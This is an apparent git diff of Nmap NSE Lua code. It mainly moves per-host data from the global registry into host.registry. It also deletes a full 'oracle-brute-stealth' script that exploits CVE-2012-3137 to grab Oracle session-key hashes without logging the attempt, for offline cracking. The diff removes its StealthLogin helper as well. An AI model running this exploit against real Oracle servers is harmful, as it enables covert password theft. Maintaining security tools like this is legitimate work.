diff --git a/nselib/brute.lua b/nselib/brute.lua index d2c52e819..8694989c0 100644 --- a/nselib/brute.lua +++ b/nselib/brute.lua @@ -416,8 +416,8 @@ Engine = account_guesses = {}, options = Options:new(), } - setmetatable(o, self) - self.__index = self + setmetatable(o, self) + self.__index = self o.max_threads = stdnse.get_script_args("brute.threads") or 10 return o end, @@ -476,7 +476,6 @@ Engine = for user, pass in self.iterator do -- makes sure the credentials have not been tested before self.used_creds = self.used_creds or {} - pass = pass or "nil" if ( not(self.used_creds[user..pass]) ) then self.used_creds[user..pass] = true coroutine.yield( user, pass ) @@ -685,9 +684,9 @@ Engine = self.iterator = Iterators.credential_iterator( f ) elseif ( mode and mode == 'user' ) then - self.iterator = self.iterator or Iterators.user_pw_iterator( usernames, passwords ) + self.iterator = Iterators.user_pw_iterator( usernames, passwords ) elseif( mode and mode == 'pass' ) then - self.iterator = self.iterator or Iterators.pw_user_iterator( usernames, passwords ) + self.iterator = Iterators.pw_user_iterator( usernames, passwords ) elseif ( mode ) then return false, ("Unsupported mode: %s"):format(mode) -- Default to the pw_user_iterator in case no iterator was specified diff --git a/nselib/creds.lua b/nselib/creds.lua index 52b0d7101..ef75896c2 100644 --- a/nselib/creds.lua +++ b/nselib/creds.lua @@ -114,7 +114,6 @@ State = { HOST_RESTRICTED = 128, LOCKED_VALID = 256, DISABLED_VALID = 512, - HASHED = 1024, } StateMsg = { @@ -128,7 +127,6 @@ StateMsg = { [State.HOST_RESTRICTED] = 'Valid credentials, account cannot log in from current host', [State.LOCKED_VALID] = 'Valid credentials, account locked', [State.DISABLED_VALID] = 'Valid credentials, account disabled', - [State.HASHED] = 'Hashed valid or invalid credentials', } diff --git a/nselib/netbios.lua b/nselib/netbios.lua index d0b9e5ae3..d2783877f 100644 --- a/nselib/netbios.lua +++ b/nselib/netbios.lua @@ -264,12 +264,27 @@ function do_nbstat(host) local socket = nmap.new_socket() local encoded_name = name_encode("*") local statistics + local reg + if type(host) == "string" then --ip + stdnse.print_debug(3, "Performing nbstat on host '%s'", host) + nmap.registry.netbios = nmap.registry.netbios or {} + nmap.registry.netbios[host] = nmap.registry.netbios[host] or {} + reg = nmap.registry.netbios[host] + else + stdnse.print_debug(3, "Performing nbstat on host '%s'", host.ip) + if host.registry.netbios == nil and + nmap.registry.netbios ~= nil and + nmap.registry.netbios[host.ip] ~= nil then + host.registry.netbios = nmap.registry.netbios[host.ip] + end + host.registry.netbios = host.registry.netbios or {} + reg = host.registry.netbios + end - stdnse.print_debug(3, "Performing nbstat on host '%s'", host) - -- Check if it's cased in the registry for this host - if(nmap.registry["nbstat_names_" .. host] ~= nil) then + -- Check if it's cached in the registry for this host + if(reg["nbstat_names"] ~= nil) then stdnse.print_debug(3, " |_ [using cached value]") - return true, nmap.registry["nbstat_names_" .. host], nmap.registry["nbstat_statistics_" .. host] + return true, reg["nbstat_names"], reg["nbstat_statistics"] end -- Create the query header @@ -369,8 +384,8 @@ function do_nbstat(host) pos, statistics = bin.unpack(string.format(">A%d", rrlength), result, pos) -- Put it in the registry, in case anybody else needs it - nmap.registry["nbstat_names_" .. host] = names - nmap.registry["nbstat_statistics_" .. host] = statistics + reg["nbstat_names"] = names + reg["nbstat_statistics"] = statistics return true, names, statistics diff --git a/nselib/smbauth.lua b/nselib/smbauth.lua index 3836059ec..e94490de7 100644 --- a/nselib/smbauth.lua +++ b/nselib/smbauth.lua @@ -105,11 +105,11 @@ local ACCOUNT_TYPES = { } local function account_exists(host, username, domain) - if(nmap.registry[host.ip] == nil or nmap.registry[host.ip]['smbaccounts'] == nil) then + if(host.registry['smbaccounts'] == nil) then return false end - for i, j in pairs(nmap.registry[host.ip]['smbaccounts']) do + for i, j in pairs(host.registry['smbaccounts']) do if(j['username'] == username and j['domain'] == domain) then return true end @@ -120,13 +120,13 @@ end function next_account(host, num) if(num == nil) then - if(nmap.registry[host.ip]['smbindex'] == nil) then - nmap.registry[host.ip]['smbindex'] = 1 + if(host.registry['smbindex'] == nil) then + host.registry['smbindex'] = 1 else - nmap.registry[host.ip]['smbindex'] = nmap.registry[host.ip]['smbindex'] + 1 + host.registry['smbindex'] = host.registry['smbindex'] + 1 end else - nmap.registry[host.ip]['smbindex'] = num + host.registry['smbindex'] = num end end @@ -165,11 +165,8 @@ function add_account(host, username, domain, password, password_hash, hash_type, return end - if(nmap.registry[host.ip] == nil) then - nmap.registry[host.ip] = {} - end - if(nmap.registry[host.ip]['smbaccounts'] == nil) then - nmap.registry[host.ip]['smbaccounts'] = {} + if(host.registry['smbaccounts'] == nil) then + host.registry['smbaccounts'] = {} end -- Determine the type of account, if it wasn't given @@ -204,10 +201,10 @@ function add_account(host, username, domain, password, password_hash, hash_type, new_entry['account_type'] = account_type -- Insert the new entry into the table - table.insert(nmap.registry[host.ip]['smbaccounts'], new_entry) + table.insert(host.registry['smbaccounts'], new_entry) -- Sort the table based on the account type (we want anonymous at the end, administrator at the front) - table.sort(nmap.registry[host.ip]['smbaccounts'], function(a,b) return a['account_type'] > b['account_type'] end) + table.sort(host.registry['smbaccounts'], function(a,b) return a['account_type'] > b['account_type'] end) -- Print a debug message stdnse.print_debug(1, "SMB: Added account '%s' to account list", username) @@ -215,7 +212,7 @@ function add_account(host, username, domain, password, password_hash, hash_type, -- Reset the credentials next_account(host, 1) --- io.write("\n\n" .. nsedebug.tostr(nmap.registry[host.ip]['smbaccounts']) .. "\n\n") +-- io.write("\n\n" .. nsedebug.tostr(host.registry['smbaccounts']) .. "\n\n") end ---Retrieve the current set of credentials set in the registry. If these fail, next_credentials should be @@ -225,12 +222,12 @@ end --@return (result, username, domain, password, password_hash, hash_type) If result is false, username is an error message. Otherwise, username and password are -- the current username and password that should be used. function get_account(host) - if(nmap.registry[host.ip]['smbindex'] == nil) then - nmap.registry[host.ip]['smbindex'] = 1 + if(host.registry['smbindex'] == nil) then + host.registry['smbindex'] = 1 end - local index = nmap.registry[host.ip]['smbindex'] - local account = nmap.registry[host.ip]['smbaccounts'][index] + local index = host.registry['smbindex'] + local account = host.registry['smbaccounts'][index] if(account == nil) then return false, "No accounts left to try" @@ -244,18 +241,13 @@ end -- --@param host The host object. function init_account(host) - -- Create the key if it exists - if(nmap.registry[host.ip] == nil) then - nmap.registry[host.ip] = {} - end - -- Don't run this more than once for each host - if(nmap.registry[host.ip]['smbaccounts'] ~= nil) then + if(host.registry['smbaccounts'] ~= nil) then return end -- Create the list - nmap.registry[host.ip]['smbaccounts'] = {} + host.registry['smbaccounts'] = {} -- Add the anonymous/guest accounts add_account(host, '', '', '', nil, 'none') diff --git a/nselib/tns.lua b/nselib/tns.lua index e642980b1..bba2cdb31 100644 --- a/nselib/tns.lua +++ b/nselib/tns.lua @@ -1754,27 +1754,6 @@ Helper = { self.auth_session = data["AUTH_SESSION_ID"] return true end, - - --- Steal auth data from database - -- @param user containing the Oracle user name - -- @param pass containing the Oracle user password - -- @return true on success, false on failure - -- @return err containing error message when status is false - StealthLogin = function( self, user, password ) - local data, packet, status, tns, parser - local sesskey_enc, auth_pass, auth - local auth_options = AuthOptions:new() - - status, auth = self.comm:exchTNSPacket( Packet.PreAuth:new( user, auth_options, self.os ) ) - if ( not(status) ) then - return false, auth - end - if ( auth["AUTH_SESSKEY"] ) then - return true, auth - else - return false - end - end, --- Queries the database -- diff --git a/scripts/cvs-brute-repository.nse b/scripts/cvs-brute-repository.nse index 465c4082b..d4eb2b067 100644 --- a/scripts/cvs-brute-repository.nse +++ b/scripts/cvs-brute-repository.nse @@ -66,10 +66,8 @@ Driver = if ( not(status) and err:match("I HATE YOU") ) then -- let's store the repositories in the registry so the brute -- script can use them later. - nmap.registry.cvs = nmap.registry.cvs or {} - nmap.registry.cvs[self.host.ip] = nmap.registry.cvs[self.host.ip] or {} - nmap.registry.cvs[self.host.ip].repos = nmap.registry.cvs[self.host.ip].repos or {} - table.insert(nmap.registry.cvs[self.host.ip].repos, password) + self.host.registry.cvs_repos = self.host.registry.cvs_repos or {} + table.insert(self.host.registry.cvs_repos, password) return true, brute.Account:new(username, password, 0) end return false, brute.Error:new( "Incorrect password" ) diff --git a/scripts/cvs-brute.nse b/scripts/cvs-brute.nse index 47816e570..a3c82bed9 100644 --- a/scripts/cvs-brute.nse +++ b/scripts/cvs-brute.nse @@ -79,14 +79,11 @@ Driver = local function getDiscoveredRepos(host) - if ( not(nmap.registry.cvs) or - not(nmap.registry.cvs[host.ip]) or - not(nmap.registry.cvs[host.ip].repos) - ) then + if ( not(host.registry.cvs_repos)) then return end - return nmap.registry.cvs[host.ip].repos + return host.registry.cvs_repos end action = function(host, port) diff --git a/scripts/nbstat.nse b/scripts/nbstat.nse index b9b7a2cee..c94372636 100644 --- a/scripts/nbstat.nse +++ b/scripts/nbstat.nse @@ -80,22 +80,22 @@ action = function(host) -- Get the list of NetBIOS names - status, names, statistics = netbios.do_nbstat(host.ip) - status, names, statistics = netbios.do_nbstat(host.ip) - status, names, statistics = netbios.do_nbstat(host.ip) - status, names, statistics = netbios.do_nbstat(host.ip) + status, names, statistics = netbios.do_nbstat(host) + status, names, statistics = netbios.do_nbstat(host) + status, names, statistics = netbios.do_nbstat(host) + status, names, statistics = netbios.do_nbstat(host) if(status == false) then return stdnse.format_output(false, names) end -- Get the server name - status, server_name = netbios.get_server_name(host.ip, names) + status, server_name = netbios.get_server_name(host, names) if(status == false) then return stdnse.format_output(false, server_name) end -- Get the logged in user - status, user_name = netbios.get_user_name(host.ip, names) + status, user_name = netbios.get_user_name(host, names) if(status == false) then return stdnse.format_output(false, user_name) end diff --git a/scripts/oracle-brute-stealth.nse b/scripts/oracle-brute-stealth.nse deleted file mode 100644 index 9d241aab4..000000000 --- a/scripts/oracle-brute-stealth.nse +++ /dev/null @@ -1,199 +0,0 @@ -local brute = require "brute" -local coroutine = require "coroutine" -local creds = require "creds" -local io = require "io" -local nmap = require "nmap" -local shortport = require "shortport" -local stdnse = require "stdnse" -local tns = require "tns" -local unpwdb = require "unpwdb" - -local openssl = stdnse.silent_require "openssl" - -description = [[ -Exploits the CVE-2012-3137 vulnerability, a weaknes in Oracle's O5LOGIN authentication scheme. -The vulnerability exists in Oracle 11g R1,R2 and allows linking the session key to a password hash. -When initiating an authentication attempt as a valid user the server will respond with a session key and salt. -Once received the script will disconnect the connection thereby not recording the login attempt. -The session key and salt can then be used to brute force the users password. -]] - ---- --- @usage --- nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL --- --- @output --- PORT STATE SERVICE REASON --- 1521/tcp open oracle syn-ack --- | oracle-brute-stealth: --- | Accounts --- | dummy:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - Hashed valid or invalid credentials --- | nmap:$o5logon$D1B28967547DBA3917D7B129E339F96156C8E2FE5593D42540992118B3475214CA0F6580FD04C2625022054229CAAA8D*7BCF2ACF08F15F75B579 - Hashed valid or invalid credentials --- | Statistics --- |_ Performed 2 guesses in 1 seconds, average tps: 2 --- --- @args oracle-brute-stealth.sid - the instance against which to perform password guessing --- @args oracle-brute-stealth.nodefault - do not attempt to guess any Oracle default accounts --- @args oracle-brute-stealth.accounts - a list of comma separated accounts to test --- @args oracle-brute-stealth.johnfile - if specified the hashes will be written to this file to be used by JtR - --- --- Version 0.1 --- Created 06/10/2012 - v0.1 - created by Dhiru Kholia --- --- Summary --- ------- --- x The Driver class contains the driver implementation used by the brute --- library - -author = "Dhiru Kholia" -license = "Same as Nmap--See http://nmap.org/book/man-legal.html" -categories = {"intrusive", "brute"} - -portrule = shortport.port_or_service(1521, "oracle-tns", "tcp", "open") - -local ConnectionPool = {} -local arg_johnfile = stdnse.get_script_args(SCRIPT_NAME .. '.johnfile') -local johnfile - -Driver = -{ - - new = function(self, host, port, sid ) - local o = { host = host, port = port, sid = sid } - setmetatable(o, self) - self.__index = self - return o - end, - - --- Connects performs protocol negotiation - -- - -- @return true on success, false on failure - connect = function( self ) - local MAX_RETRIES = 10 - local tries = MAX_RETRIES - - self.helper = ConnectionPool[coroutine.running()] - if ( self.helper ) then return true end - - self.helper = tns.Helper:new( self.host, self.port, self.sid ) - - -- This loop is intended for handling failed connections - -- A connection may fail for a number of different reasons. - -- For the moment, we're just handling the error code 12520 - -- - -- Error 12520 has been observed on Oracle XE and seems to - -- occur when a maximum connection count is reached. - local status, data - repeat - if ( tries < MAX_RETRIES ) then - stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES) - end - status, data = self.helper:Connect() - if ( not(status) ) then - stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data) - self.helper:Close() - else - break - end - tries = tries - 1 - stdnse.sleep(1) - until( tries == 0 or data ~= "12520" ) - - if ( status ) then - ConnectionPool[coroutine.running()] = self.helper - end - - return status, data - end, - - --- Attempts to login to the Oracle server - -- - -- @param username string containing the login username - -- @param password string containing the login password - -- @return status, true on success, false on failure - -- @return brute.Error object on failure - -- brute.Account object on success - login = function( self, username, password ) - local status, data = self.helper:StealthLogin( username, password ) - - if ( data["AUTH_VFR_DATA"] ) then - hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"]) - if ( johnfile ) then - johnfile:write(("%s:%s\n"):format(username,hash)) - end - return true, brute.Account:new(username, hash, creds.State.HASHED) - else - return false, brute.Error:new( data ) - end - - - end, - - --- Disconnects and terminates the Oracle TNS communication - disconnect = function( self ) - return true - end, - -} - - -action = function(host, port) - local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst" - local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid') - local engine = brute.Engine:new(Driver, host, port, sid) - local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts') - local mode = arg_accounts and "accounts" or "default" - - if ( not(sid) ) then - return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)" - end - - if ( arg_johnfile ) then - johnfile = io.open(arg_johnfile, "w") - if ( not(johnfile) ) then - return ("\n ERROR: Failed to open %s for writing"):format(johnfile) - end - end - - local helper = tns.Helper:new( host, port, sid ) - local status, result = helper:Connect() - if ( not(status) ) then - return "\n ERROR: Failed to connect to oracle server" - end - helper:Close() - - if ( stdnse.get_script_args('userdb') or - stdnse.get_script_args('passdb') or - stdnse.get_script_args('oracle-brute-stealth.nodefault') or - stdnse.get_script_args('brute.credfile') ) then - mode = nil - end - - if ( mode == "default" ) then - local f = nmap.fetchfile(DEFAULT_ACCOUNTS) - if ( not(f) ) then - return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS) - end - - f = io.open(f) - if ( not(f) ) then - return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS) - end - - engine.iterator = brute.Iterators.credential_iterator(f) - elseif( "accounts" == mode ) then - engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts)) - end - - engine.options.useraspass = false - engine.options.mode = "user" - engine.options.script_name = SCRIPT_NAME - status, result = engine:start() - - if ( johnfile ) then - johnfile:close() - end - - return result -end diff --git a/scripts/path-mtu.nse b/scripts/path-mtu.nse index 7a7451007..a5b9d7b81 100644 --- a/scripts/path-mtu.nse +++ b/scripts/path-mtu.nse @@ -261,10 +261,7 @@ end -- Sets necessary probe data in registry local setreg = function(host, proto, port) - if not nmap.registry[host.ip] then - nmap.registry[host.ip] = {} - end - nmap.registry[host.ip]['pathmtuprobe'] = { + host.registry['pathmtuprobe'] = { ['proto'] = proto, ['port'] = port } @@ -301,8 +298,8 @@ action = function(host) local mtuset local sock = nmap.new_dnet() local pcap = nmap.new_socket() - local proto = nmap.registry[host.ip]['pathmtuprobe']['proto'] - local port = nmap.registry[host.ip]['pathmtuprobe']['port'] + local proto = host.registry['pathmtuprobe']['proto'] + local port = host.registry['pathmtuprobe']['port'] local saddr = packet.toip(host.bin_ip_src) local daddr = packet.toip(host.bin_ip) local try = nmap.new_try() diff --git a/scripts/snmp-interfaces.nse b/scripts/snmp-interfaces.nse index 83e197622..9a5004d56 100644 --- a/scripts/snmp-interfaces.nse +++ b/scripts/snmp-interfaces.nse @@ -45,6 +45,7 @@ dependencies = {"snmp-brute"} -- Revised 04/11/2010 - v0.2 - moved snmp_walk to snmp library -- Revised 08/10/2010 - v0.3 - prerule; add interface addresses to Nmap's target list (Kris Katterjohn) -- Revised 05/27/2011 - v0.4 - action; add MAC addresses to nmap.registry[host.ip]["mac-geolocation"] (Gorjan Petrovski) +-- Revised 07/31/2012 - v0.5 - action; remove mac-geolocation changes (script removed from trunk) @@ -419,14 +420,6 @@ action = function(host, port) srvport = port.number end - -- table for mac-geolocation.nse - if not nmap.registry[srvhost] then - nmap.registry[srvhost] = {} - nmap.registry[srvhost]["mac-geolocation"] = {} - elseif not nmap.registry[srvhost]["mac-geolocation"] then - nmap.registry[srvhost]["mac-geolocation"] = {} - end - socket:set_timeout(5000) try(socket:connect(srvhost, srvport, "udp")) @@ -453,14 +446,6 @@ action = function(host, port) end local output = stdnse.format_output( true, build_results(interfaces) ) - - -- insert the MAC addresses into the mac-geolocation table - for _,item in ipairs(interfaces) do - if item.phys_addr then - table.insert(nmap.registry[srvhost]["mac-geolocation"], item.phys_addr:match("^(%x+:%x+:%x+:%x+:%x+:%x+)")) - end - end - -- wtf is this? table.insert(nmap.registry[srvhost]["mac-geolocation"], "00:23:69:2a:b1:27") if SCRIPT_TYPE == "prerule" and target.ALLOW_NEW_TARGETS then local sum = 0